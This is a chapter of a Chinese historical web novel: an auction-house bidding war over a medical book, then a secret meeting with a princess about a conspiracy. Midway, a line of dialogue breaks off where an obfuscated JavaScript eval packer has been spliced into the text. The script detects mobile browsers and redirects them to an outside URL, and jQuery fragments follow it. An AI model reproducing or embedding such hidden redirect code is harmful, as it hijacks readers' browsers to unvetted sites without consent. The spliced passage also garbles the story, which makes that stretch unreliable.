只见小厮捧着一只造型独特的杯子放置在正中的木桌上,光线映照下,杯身轴面蓝色通透澄澈。
掌柜开始介绍:“这是一只来自西域的孔雀蓝轴杯,正如名字一样,工匠打造这只杯子时,参照了孔雀开屏的模样,尾羽镶嵌足足十六颗绿色宝石,颜色由浅及深,要找齐这样的宝石耗费极大的时间,初价为一百两,每次加价不少于十两。”
“一百一十两。”马上有人喊价。
“一百二十两。”
“一百五十两。”
几人相争,不一会杯子的叫价已高达五百三十两,最后天字九号厢房以六百一十两的价格拿下。
“六百一十两,我得给小姐当二十五年护卫才赚这么多钱。”闻野再三算数确认,“把我卖了也买不起这孔雀杯,看得我都想盘间铺子做生意。”
赵怀枝好奇:“你想开什么铺子?若是想做食肆,京中大大小小的铺子几乎包揽八大菜系,西域的美食不大符合中原口味,很难做出花样。”
闻野戳戳碗里鱼肉,想做什么?
“我还没想好,现在想的便是攒够路费游历山河,反正师父说我心性未定,要下山在人间经历诸多事情才能醒悟,之后再做决定也不迟吧。”
门外传来敲门声,五个小厮一人捧着一个木盘上菜,其中一道是桂花糖藕,一道是八宝鸭。
赵怀枝望着菜式眯起了眼,这是她进宫为公主治病那日,为了让赵母分心随口说的菜式。
恰好第二件珍宝出场,两盆兰花,一盆红梅。
说是珍宝倒也算不上,但在仍未回暖的京师中,鲜嫩的活花也算得上稀缺货。掌柜继续介绍:“这是江南千里迢迢运来的花卉,还水灵着,共有十五盆,每次卖三盆,共有五轮机会,初价三两,每次加价不少于一两。”
“不必这么麻烦,五百两,十五盆我全要了。”王璨直接出价。
众人一时默然,珍宝会中极少有人大手笔一次抬高,丝毫机会不让给别人。三十多两一盆花卉并不值这个价,况且不是名贵花种,寒天冻地里才稍显珍贵罢了。
无人竞价,王璨将所有花收入囊中,吩咐身旁侍女:“司画,去和掌柜说,我要见这批花背后的卖主。”
接下来又展示了琉璃盏、玛瑙珠等少见的奇物,外头叫价声间或激烈,间或冷清,赵怀枝三人则专心吃饭,时不时点评下菜色。
珍宝会上只有她和天字一号房一次也未叫价。
直至……“接下来是一本医书,李奉先生亲手所著孤本,并非后世留存的抄本,只是年代久远,书中内容有所残缺,初价一两,每次叫价不少于五百铜钱。”
赵怀枝手指轻敲桌面,不出她所料,王璨率先出价:“五两。”
赵怀枝立马跟上:“五两五百铜钱。”
“六两。”“六两五百铜钱。”
“七两。”“七两五百铜钱。”
明眼人都看出来天字五号房和六号杠上,大多数只在看热闹,少数几个试图浑水摸鱼跟着抬价。
赵怀枝直接翻倍叫价:“三十两。”
孤本虽珍贵,但医书对在场多数人而言并无用处,因而只剩下她和王璨叫价。
王璨咬了咬牙:“三十五两。”
王璨身边的侍女见状小心提醒:“小姐,老爷吩咐此行只为买花,多余的东西并不能……”
王璨不耐烦挥挥手:“我心里有数,多余的钱从我库里扣便是。”
当初存钱是为了新头面,现在用来出口恶气倒不错,叫赵怀枝尝尝被人抢走心爱东西的滋味。
王璨清了清嗓子,故意说给赵怀枝听:“赵小姐方才教训得头头是道,喜欢的东西要早点下手留在身边,否则被抢走也只能吃闷亏。”
“现在怎么不继续加价了?”
赵怀枝未如她想象般气急败坏,反倒是喝了口茶,茶杯轻叩桌面,“嗒”一声轻响。
钱嘛,自然出得起更高价,只是没必要。
赵怀枝淡然看向闻野:“你能潜进王家拿到医书,抄录一本后再放回去不被人发现吗?”
“这不难,正好师父教过我一手,可以内力隔空取物。”闻野思索片刻便答,“只是小姐,偷东西不好吧。”
赵怀枝勾起嘴角,毫不在意:“求学若渴,读书人的事情怎么能叫偷呢?借来看看罢了。”
掌柜在底下确认再无人出价:“可还有人继续?若无人加价,医书便归天字六号房。”
王璨正得意,一直没有动静的天字一号房传来声音:“四十两。”
王璨惊得直接站起,天字一号房里头那位怎么会突然加价?是在帮赵怀枝还是针对自己?
另一侍女忙上前扶住王璨:“小姐,没事吧?”
王璨心中发慌,指甲下意识用力狠狠掐进侍女手臂,而后缓缓坐下,安慰自己,不能着急,稍后定能与天字一号那位见上一面。
她瞥向门口,眉心皱了皱:“司画这丫鬟办事真不利索,让她去找掌柜传个话见个人,现在还没办妥回来,司棋,你去一趟。”
“是,小姐。”司棋被掐得生疼也不敢哼一声。
一番折腾后,最后医书归天字一号房。
与此同时,一位不速之客也出现在天字五号房前,闻野拦在最前面警惕盯着对方。
身着藕色衣裳的侍女捧着方才的医书站在门外:“此书应赠有缘人,我家主子想请赵小姐赏个脸,前往天字一号房喝杯茶。”
赵怀枝未动:“不知你家主子是何人?”
侍女:“我家主子不便透露身份,赵小姐看过手帕自会明白。”
文心上前接过递给赵怀枝,医书下是一方绣有梨花枝叶的素白帕子,赵怀枝将手帕收入袖中,起身:“好吧,那便有劳带路。”
闻野跟在赵怀枝身后一同出去,藕色衣裳侍女伸手拦下他,语气平和有礼:“我家主子只邀赵小姐一人,这位小兄弟还请留步。”
闻野无视她的话:“我是她的护卫,怎有护卫让小姐一人去的理由。”
两人面对面僵持,忽然一同抬手,两掌相击,内力汇聚于掌心相互抗衡,两人衣袖翻飞,四周门窗亦被殃及,摇摇晃晃。
闻野用力一震,侍女被震退两步,语气欣赏:“年纪轻轻,内力深厚,身手不错嘛。”
闻野欲再战,赵怀枝一把摁住他手臂。
“住手,你们想拆了天字楼不成?”赵怀枝皱眉喝道,“闻野你和文心呆在这等我回来,是一位故友,不必担心。”
闻野应了声好:“若是遇到什么麻烦,大声喊我名。”
侍女抚平衣裳褶皱:“赵小姐,请。”
侍女引赵怀枝进入天字一号房便退出去,房中只有赵怀枝和那人,房中人望向她,语气温和:“没想到你今日也在,怀枝。”
赵怀枝行礼:“见过颐康公主。”
“私下还是和以前一样,唤我明尧便好。”颐康公主摆摆手,“宫中烦闷,出来玩可不想再听到这名字。”
赵怀枝坐下:“好吧,明尧。”
未等两人叙旧,方才引路的侍女敲门:“主子,天字楼掌柜又来了一趟,说天字五号的王小姐想要见您。”
“呵呵,鱼儿倒是迫不及待上钩。”公孙明尧闻言轻蔑地笑了,“元英,告诉掌柜,珍宝会结束后便请王小姐来一趟。”
赵怀枝疑惑:“这是?”
“云山村大火后需调往不少衣物粮食,然而国库真正休养生息时间不足一年,恰好江南进献一批花卉,皇兄便命我暗中将花卉带出,借京中商人之名在天字楼售卖,所得钱财用于云山村。”公孙明尧说,“王家不知从哪得知我今日出宫,便想借买花之名接近我。”
“我正好探探王家想做什么,也是时候揪出宫中藏起来的老鼠,他们听得够多了。”
“对了,听闻你在云山村地道遭遇埋伏,可有受伤?”公孙明尧关切问道。
赵怀枝摇头:“无大事,只是安逸了三年,有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287879|198447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些迟钝罢了。”
公孙明尧想起一事:“说起云山村,暗卫说你要查一个叫闻野的人,我曾听闻过这个名字,他是江湖年轻一辈中的佼佼者,师从观山道人,心性不错,是可用之人,他留在你身边做护卫,我倒是放心不少。”
“京师要再起大风浪了,如寄去南邑镇的信上所说,旧帝残存躲起来的部下在找国师族人,他们试图再利用巫术夺回帝位,云山村传出的流言便是第一步。而怀枝你曾是接触国师最深的人之一,他们必然会找上你,试图得到关于国师的任何消息。”
“眼下得知有不明火药被运入京中,恐怕有我们不知的其他势力暗中帮助他们混进来,城中已散出兵力私下搜查,只是他们素来会躲藏,所以我们需要你打配合将计就计,引蛇出洞。”
她回京前,寄到南邑镇的信除去家信,还有一封便来自宫中,也是她回京的真正目的,赵怀枝听罢一笑:“我这枚暗棋终于可以浮上水面了。”
“他们极有可能在除夕那日动手,你……万事小心。”公孙明尧难得一脸肃色,将一个令牌递给她,“有事马上入宫,我的朋友不多,活着的就剩你一个了。”
“当然,我还等着彻底解决这件事后,和你一起去给他们上坟,我可没打算这么早躺进土里。”赵怀枝一笑,“今日叙旧便到此吧,王小姐怕是会等着急。”
“那我先走一步了。”
文心在天字五号房左右踱步,闻野左等右等不见她回来,就差出去再跟那位叫元英得侍女动手闯进去。
珍宝会将近尾声时,赵怀枝终于回来,见两人一脸着急,桌上饭菜仍剩不少,无奈笑笑,叫来店小二打包带回赵家,给他俩当宵夜。
赵怀枝离开后不久,王璨便进入天字一号房,装作惊讶模样:“公主?臣女拜见颐康公主。”
公孙明尧静静看她演戏:“王小姐要见的是花背后的卖主,如今见了,可要说些什么?”
王璨低头:“听闻公主在宫中烦闷,臣女买下这批花原是想献给陛下和公主,若能博公主一笑便是臣女之幸,不成想卖主是公主您,倒是弄巧成拙。”
“王小姐有心了。”公孙明尧淡淡道,“我与王小姐素无往来,王小姐这般关心我,实在令人感动。”
“臣女不敢当,公主以身为质困在旧帝宫中多年,暗中传出情报助力陛下除去旧帝,王家也因此得以逃脱旧帝魔爪,身为女子如此坚毅果敢,臣女心中实在感激敬佩。”王璨接着说。
“若有王小姐这般贴心的人在身旁,定然更加有趣。”公孙明尧唇角轻轻向上弯起,“不知王小姐在家中常做什么?”
王璨心中一喜,面上稳住表情:“臣女在家中常绣女红和下棋,若是公主不嫌臣女愚笨,臣女可陪公主下棋解闷。”
下棋啊,公孙明尧眼底闪过一瞬极快的冷意,语气依旧平和“王小姐,可还记得我昔日尚为镇北侯千金时,家中姓氏是什么?”
王璨:“臣女记得公主贵姓公孙。”
“王小姐应当也听过一句话,‘昔有佳人公孙氏,一舞剑器动四方’,我大概随了先祖爱舞刀弄枪。”公孙明尧笑道,“所以王小姐的好意,本公主心领了,只是可惜我们志趣不同。”
“时候不早,我该回宫了,王小姐也早点回去吧,免得家中担心。”
天字一号房中只留下王璨一人,她驻足在原地,又失败了。
回家吗?只怕少不了一顿教训。
王璨站在王父面前一五一十将天字楼中事情全说一遍,低头准备挨训。
王父不发一言盯着她,最后冷冷道:“你回去吧,颐康公主传闻素来性子任性,我本也没指望你能成功留在公主身边,现留个印象也不错。”
“只是你争不过杜家女儿,没能拿下第一才女的名头,连赵家那个医女都说不过,王家花费诸多精力让你读诗学琴真是白费了,罚你禁足一个月,期间不得出房门。”
踏出书房一刻,王璨才松下一口气,禁足而已。